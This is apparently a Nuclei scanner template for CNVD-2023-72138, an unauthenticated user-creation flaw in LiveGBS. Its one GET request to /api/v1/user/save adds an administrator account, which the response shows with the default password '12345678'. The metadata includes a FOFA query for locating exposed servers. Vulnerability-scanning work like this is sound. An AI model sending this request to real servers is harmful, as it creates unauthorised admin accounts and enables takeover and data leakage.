id: CNVD-2023-72138

info:
  name: LiveGBS user/save - Logical Flaw
  author: pussycat0x
  severity: high
  description: |
    There is a logic defect vulnerability in LiveGBS user/save. Unauthenticated attackers can exploit this vulnerability to arbitrarily add users, resulting in the takeover of background services and causing adverse effects such as information leakage.
  reference:
    - https://github.com/wy876/POC/blob/main/LiveGBS%E5%AD%98%E5%9C%A8%E9%80%BB%E8%BE%91%E7%BC%BA%E9%99%B7%E6%BC%8F%E6%B4%9E(CNVD-2023-72138).md
  metadata:
    max-request: 1
    verified: true
    fofa-query: icon_hash="-206100324"
  tags: cnvd,cnvd2023,livegbs,info-leak

variables:
  user: "{{to_lower(rand_base(5))}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/user/save?ID=&Username={{user}}&Role=管理员&Enable=true"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"DefaultUserPassword": "12345678"'
          - 'ID'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f54fbffac4c2fc064563888b0cd49604f8bb1fd0ff12f0f6ae5d8baf7a0b199c0220795a81839eadcd9437d798c1e174e8f12c9f15b67ed5c585fbfa61759d3000c0:922c64590222798bb761d5b6d8e72950